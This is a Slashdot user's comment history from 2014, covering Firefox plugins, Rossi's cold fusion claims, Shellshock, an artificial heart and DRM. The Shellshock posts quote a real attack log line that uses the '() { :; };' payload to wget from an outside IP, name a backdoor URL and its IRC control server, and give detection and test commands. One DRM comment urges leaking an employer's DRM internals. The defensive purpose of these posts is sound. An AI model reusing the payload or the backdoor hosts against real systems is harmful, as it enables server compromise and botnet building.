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Firefox Signs Five-Year Deal With Yahoo, Drops Google as Default Search Engine

Solozerk Re:plugin-container.exe (400 comments)

I guess it could - firefox's plugin-container is compiled for the same arch as the browser itself though (so if you install firefox 32 bits, you'll get the 32 bits plugin-container).

A quick search seems to suggest it would be theoretically possible to have an 64 bits firefox talking to a 32 bits plugin-container loading, say, the flash plugin; it appears however that that would require an IPC bridge between both process to perform some sort of conversion (this suggests that somehow the way both process communicate is arch dependent ? I don't know enough about xulrunner to confirm).
There's a compatibility layer that apparently exists to do exactly that: nspluginwrapper.

Myself, I tend to avoid the headache and simply run the 32 bits version of Firefox even on an amd64 system.

about a month ago
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Firefox Signs Five-Year Deal With Yahoo, Drops Google as Default Search Engine

Solozerk Re:Scrap heap (400 comments)

I suspect he was talking about firefox plugins (flash, java, the google hangouts one, etc.), not add-ons. The plugins are indeed dynamically loaded libraries that need to be compiled for the same architecture as the browser itself in order to be loaded.

about a month ago
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Independent Researchers Test Rossi's Alleged Cold Fusion Device For 32 Days

Solozerk Re:Hoax (986 comments)

later replicated by Toshiba

It's actually Toyota (and makes a lot more sense) - my bad.

about 2 months ago
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Independent Researchers Test Rossi's Alleged Cold Fusion Device For 32 Days

Solozerk Re:Any suffiently advanced tech... (986 comments)

But the "inventor" hooked up the meter, no?

No. The entire experiment was setup by the researchers themselves; the lab has no connection to Rossi, and none of the equipment came or was set-up by him. His only implication was to be here for the initial "fuel" insertion and the ash retrieval at the end, while being monitored (though that's more than enough to be suspicious of the alleged transmutation and suspect some sort of swap - still, it doesn't explain the excess energy).

about 2 months ago
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Independent Researchers Test Rossi's Alleged Cold Fusion Device For 32 Days

Solozerk Re:Hoax (986 comments)

Oh, he says words which he calls an explanation, but they fly in the face of already-understood theory, and he offers no explanations about why already-understood theory is wrong.

Agreed on this - it should be noted, though, that Rossi is not the only one that claims excess energy and transmutation using these kinds of mechanisms; look up for example the MIT NANOR devide (a small scale device that put out excess energy for more than one month straight), or the Mitsubishi transmutation claims in similar devices (later replicated by Toshiba). There are also other companies claiming similar things (Brillouin for one).

If this thing works (and that's obviously a big if), then I'd suspect Rossi discovered this mostly by accident, and that he has no precise idea himself of how it actually produces energy. IIRC, the few initial theories proposed are based on the idea of nano-scale lattices with trapped hydrogen inside; combined with some sort of excitation (EM usually, although not the only one that apparently produced some results) allowing somehow for the Coulomb barrier to be overcome at those scales and for a limited-scale, radiation-less (how ?) fusion to occur.

This is of course all pretty impossible given our current understanding of physics so if it does work somehow, it's wonderful news, even if it cannot be harnessed for energy; because it might lead to new, exciting physics.

about 2 months ago
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Independent Researchers Test Rossi's Alleged Cold Fusion Device For 32 Days

Solozerk Re:Hoax (986 comments)

I don't see that anybody checked the "reactor" coating materials for rare earth dopants.

Read the report (specifically page 8 and annex 2) - they actually analyzed the device's coating material. It was made of Al2O3 (and this was taken into account in the calorimetry), with no obvious other compounds.

While there are possible calorimetry issues here, it's hard to see an obvious one that would explain such a large measurement error; alumina IR transparency has been considered, as well as IR calibration issues (especially given the imperfect dummy test); both do not appear to be valid critics (see my comment here for details).

Given the extraordinary claims, extraordinary evidence is obviously required here; and this report definitely isn't that. Its experimental protocol and the results obtained are however more than enough to warrant further investigation; which may be hard given that this isn't like a "classical" experiment, that can be easily replicated - you basically need Rossi/Industrial Heat (the company that acquired Rossi's device and tech) to provide you with his black box and stay the hell away from the test (this is the first time he actually did that; and even here he couldn't help himself being present for the initial "fuel" insertion and the ash extraction at the end of the experiment - which render the isotopic changes inevitably suspicious).

about 2 months ago
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Independent Researchers Test Rossi's Alleged Cold Fusion Device For 32 Days

Solozerk Re:They didn't TEST anything... (986 comments)

They looked at the instruments set up by Rossi

Nope, that was true in the first test, not this one. None of the instruments came or were set up by Rossi. This test didn't occur in his lab, but in a neutral lab with controlled access. He was however present for the loading of the initial "fuel" and the extraction of the ash at the end of the test (which was stupid, and suspicious - especially given the witnessed isotopic changes in the ash).

Even assuming he did some swap on the ash itself, though, it does not explain the witnessed extra heat output (which even with extremely conservative estimates in the paper sets a CoP at ~3.6).
Now, their calorimetry is far from perfect - there were initial concerns about alumina (the device's main material) transparency to IR, for example; those have been put to rest given the fact that the IR camera used works above 7um wavelengths and at those ranges, transparency isn't an issue. Another concern (stressed by other people above) is the whole way the IR camera itself was calibrated and set-up - however, the IR cam was a new, never before used one, and they simply tested its calibration. Even if the measures are off due to the bad calorimetry, there is no obvious way it could translate into an error of that magnitude without some other obvious signs of it (like crazy differences between the hotter "segments" of the device and others, colder ones). And once again, they made all of their calculation using very conservative estimates and taking into account all margins of error.

As for the researchers themselves, they are far from disreputable (except maybe for Levi in this specific context); they are engaging their reputation by publishing this and one of them, Hanno Essen, is also the head of the Swedish Skeptics Society and has at least some experience in dealing with crackpots and suspicious "revolutionary" inventions.

This does warrant further research; beyond ad hominem attacks on Rossi, I haven't seen any strong critic of the experimental protocol that hasn't been quickly debunked (except for the transmutation thing; that could be explained by Rossi doing some sort of swap. It should be noted that he was watched at all time by several people though).

about 2 months ago
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First Shellshock Botnet Attacking Akamai, US DoD Networks

Solozerk Re:Only the beginning (236 comments)

My bad - indeed it is.

about 3 months ago
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First Shellshock Botnet Attacking Akamai, US DoD Networks

Solozerk Re:Only the beginning (236 comments)

Would there be any way for that probe to execute against a static 404 page - no cgi executing?

No - there actually need to be a bash CGI script for it to work; as long as you have only 404 codes you are fine.

about 3 months ago
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First Shellshock Botnet Attacking Akamai, US DoD Networks

Solozerk Only the beginning (236 comments)

It's not the only botnet being constructed, see my comment here - already 653 exploited servers there right now.
This is quite bad - as long as a bash CGI script is found by probing, exploiting only require putting a bash command in a header such as "Cookie:" for it to be executed. And this is only through HTTP - there are also aready other proof of concepts exploiting this through other bash-using services (DHCP servers for example).
You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

And you can check if your bash is vulnerable using:

env x='() { :;}; echo vulnerable' bash -c 'echo Testing...'

If 'vulnerable' appears, it is.

about 3 months ago
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Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

Solozerk Re:Can confirm... (318 comments)

Another one attempts to download and execute h t t p ://213.5.67.223/jurat , a perl backdoor that'll connect to a control IRC server (46.16.170.158 port 443), presumably so that a botnet can be constructed. It allows for port scanning and DDOSing remote targets based on IRC commands received.

And right now, there are already 560 invisible users connected there... and it grows at quite a pace. The flaw is definitely being exploited in the wild.

about 3 months ago
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Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

Solozerk Can confirm... (318 comments)

Just saw this in the server logs on one of our servers:

82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 392 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"

An attempt at exploiting the vulnerability (trying to wget h t t p : // 82.165.144.187/bbbbbbbbbbbb to confirm the system is vulnerable).

about 3 months ago
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In France, a Second Patient Receives Permanent Artificial Heart

Solozerk Re:Predictable (183 comments)

The only thing that link proves is that WPA2-PSK is secure as long as you choose a long enough password.

Of course you can capture a handshake and try and bruteforce the password. But as long as said password is long enough, and even with GPU-assisted cracking, you'll die before you even go through a thousandth of the possibility space.
Security doesn't have to be perfect - if it turns out eventually that hardware advances or a flaw in the implementation makes an attack even remotely feasible, then you'll surely be able to update the heart's firmware or even, worst case scenario, to replace it. For the time being, it's good enough. And even if an attack is possible (jamming seems certainly possible, for example, and would prevent adjusting the heart rate for the duration), the device should never obey any command that may put the user at risk - IE, never go below a certain rate.

Meanwhile, the people this device is implanted in wouldn't even be alive without it. And shit, we're talking about a completely artificial heart, currently being implanted in humans, the first one of which allowed its wearer to last for 76 days (an impressive success by all accounts). This is the stuff of science fiction. The WIFI aspect hardly seems relevant compared to this - and yet 90% of the comments seem to focus on that. How depressing.

about 3 months ago
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DMCA Claim Over GPL Non-Compliance Shuts Off Minecraft Plug-Ins

Solozerk Re: What the heck? (354 comments)

The Minecraft modders are using some of the Minecraft code (as a result of decompilation and related techniques).

If the source code in question has been obtained by decompilation, is it really the "original" Minecraft source code (the one that is covered by the original license) ? I mean, you're basically looking at a non human-readable binary, freely distributed, and deducing a source code that would produce the same binary. At this point the resulting source code is your work IMHO.

Then again, things may seem a little different here since it's Java and I think using "decompilation" on the byte code produces code that is likely to be extremely close to the original. But it doesn't really seem that different.

At any rate, this specific case seems a lot more straightforward since if I understand correctly the bukkit guys sold their project without getting permission from all their contributors - the fact that the bukkit people used decompiled Java bytecode appears to have little relevance to the case itself.

about 3 months ago
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Harvesting Energy From Humidity

Solozerk Re:New, or just adapted from a story? (89 comments)

They didn't - they were 'simple' water collectors (such as, I think, already exist), providing a small amount of clean water at dawn but not generating any energy in the process.
This tech, however, would be a nice one to power the Fremen's stillsuits in the same universe - providing additional water from the atmosphere while at the same time powering the various pumps and recycling tech inside of the suit :-) though if I remember correctly Herbert described those as powered by the movements of the user.

about 5 months ago
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TrueCrypt Website Says To Switch To BitLocker

Solozerk Re:I'll ask... (566 comments)

It's only a diff of the new fishy 7.2 changes. You can grab the source on the archlinux FTP though.
Presumably the guys in charge of the public crowd-funded audit could also provide a version of the source that would be deemed "trusted" by most people (and those that have already downloaded the source previously can offer confirmation).

about 7 months ago
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Gen. Keith Alexander On Metadata, Snowden, and the NSA: "We're At Greater Risk"

Solozerk Re:probabilities? (238 comments)

Leaving out the value part is where the system broke down.

What's the value all of the US's cities ? all the buildings, the infrastructure, the work of arts, the land itself (and its capacity to provide food, minerals and resources in general) ? for that matter, what's the value of the people in the US - builders, farmers, doctors, scientists ?

This is what the currency is backed by: the value of the country itself. The US government represent all the people in the US and all those valuable things - land, buildings, etc.... It emits currency and pays with it; that says to the people accepting the currency: yes, we represent all those valuable things, and worst case scenario if we cannot pay you back then we have collaterals - you can take a bit of land instead, or our scientists will work on your project for N years, etc... and it will sure help you more than some gold.

It's not perfect but it sure seems to me that it makes more sense than backing the currency with big lumps of yellow metal with relatively limited uses.

about 7 months ago
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Hulu Blocks VPN Users

Solozerk Re:Not their fault (259 comments)

I'm very okay with this kind of "freedom" proceeding slowly, even taking a couple steps backwards once in a while, because the advancements that it does bring are completely worth it when compared to not-100%-perfect ethical mores.

I'm not - why should we settle for small steps, when we already have the capability to make giant ones ? where would we be right now as a species if even half the money spent in DRM schemes/IP protection stuff had been thrown in global network deployment (there are still large parts of the planet's population with no access to the Internet, or even no electricity) and putting online courses/teaching material/culture online ?

Technology advances the fastest when people with LOTS of money have their way

While the rest of your post seems pretty reasonable and possibly less utopic/optimistic than mine, this I strongly doubt. It seems to me that the very resources inequalities we're seeing currently - the very fact that some people posess thousands times more money/power than most - is a major part of such an artificially enforced scarcity. It's just concentration of power, and people in power wanting to keep that power.

Maybe I'm just too young / not cynical (call it realistic if you will) enough; that being said, once again, having the capability to diffuse culture massively and willingly limiting that capability seems like a form of madness to me. Makes you wonder what'll happen when material, real-life scarcity will no longer be an issue (and I personally think we're not that far of).

about 8 months ago
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Hulu Blocks VPN Users

Solozerk Re:Not their fault (259 comments)

Do you /really/ think devs in the industry would implement DRM if we didn't have to? It's a pain in the neck to code and it keeps some of our customer base from using it at all! Half of us are Linux users at home and are just as pissed as you are when things won't work with it.

Then leave. Find a job elsewhere. Or even better: spend some of your free time writing and publishing (anonymously, of course - use tor) DRM-defeating software based on what you implemented at work - you already have the tech details since you implemented the DRM stuff (or just publish the tech details anonymously and let others implement the stuff). They can't continue playing this kind of games if no developer are helping them.

And I don't think doing so would stop the release or funding of entertainment stuff, either (be it games, movies or music); people have been making music & art for thousand of years without that kind of shit, and people are genuinely ready to pay for content if it's quality, easily available, and reasonably priced; even if it's available elsewhere for free. They are also ready to pay to finance that kind of development even when a release is not certain (look at the many successful crowdfunded projects). It would certainly decrease the amount of shitty games/movies created, though.

The very fact that we have the technological capability to massively distribute culture at a very low cost and we don't because of greed/artificially enforced scarcity is truly depressing.

about 8 months ago
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Why Robots Will Not Be Smarter Than Humans By 2029

Solozerk Re:"Robots" will never be as smart as a human. (294 comments)

It's all just matter and energy.

Indeed - very few (sane) people dispute the fact that consciousness can be generated with non-biological hardware (using silicon). We know that consciousness is the result of matter and energy - a more interesting question IMO, is: matter down to what level ? does the brain only use "classical" physics principles to generate consciousness, or does it somehow exploit quantum principles (we certainly know that natural selection has made use of those in some cases - see photosynthesis).
Maybe the brain requires quantum mechanics for randomness (where does a new, original idea come from ? it may simply be extremely complex recombination of previously seen concepts and ideal; but then again, it may include a true source of randomness), in which case the only thing required to create consciousness on a silicon medium would be a "true" source of randomness. Such a source of randomness in the brain could also come, for example, from the interaction between cosmic rays and particles in the brain - an interaction we actively correct for in RAM using error checks.

Then again, maybe the brain requires quantum mechanics for something far more fundamental needed for consciousness - in which case the only efficient way to create an artificial consciousness may be to use a quantum computer, and using a "classical" computer may not be possible.

In any case, given the current rate of progress, I'd be very wary of making any assumption about the progress of tech and research, in that domain or any other - time will tell :-) I certainly hope to see the first artificial consciousness in my lifetime, though.

about 9 months ago

Submissions

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New positive independent report for Andrea Rossi's purported cold fusion device

Solozerk Solozerk writes  |  about 2 months ago

Solozerk (1003785) writes "The so-called "energy catalyzer", a purported cold fusion reactor device alleged by its inventor Andrea Rossi to be a revolutionary new source of energy, was previously discussed on Slashdot. Now, a new report has been leaked that appears to independently verify those claims. The paper, "Observation of abundant heat production from a reactor device and of isotopic changes in the fuel", describes the evaluation of the device as positive, yielding a COP (Coefficient of Performance) of 3.6. Contrary to previous evaluations of the device, Andrea Rossi was apparently not involved in any way with this one; only providing the device itself."
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Evidence of water vapor venting off Europa

Solozerk Solozerk writes  |  1 year,6 days

Solozerk (1003785) writes "NASA's Hubble Space Telescope has observed water vapor above the frigid south polar region of Jupiter's moon Europa, providing the first strong evidence of water plumes erupting off the moon's surface.
Previous scientific findings from other sources already point to the existence of an ocean located under Europa's icy crust. Researchers are not yet fully certain whether the detected water vapor is generated by erupting water plumes on the surface, but they are confident this is the most likely explanation."

Link to Original Source
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Independent, third-party testing of Rossi's cold fusion device reports success

Solozerk Solozerk writes  |  about a year and a half ago

Solozerk (1003785) writes "Intalian inventor Andrea Rossi's alleged cold fusion reactor has been mentionned on slashdot previously. Up until now, reports have been limited to unsupported claims by Rossi himself that he indeed had a working reactor capable of producing ground-breaking amounts of energy through an unknown reaction.
However, a third-party independant report has now been published (arxiv link) that appears to support Rossi's claims and describes his "reactor" as being "one order of magnitude greater than conventional energy sources". A Forbes article has also been published on the subject. What do Slashdot readers think ? is Rossi's device actually real — and if so, does it has the potential to change the world ?"

Link to Original Source

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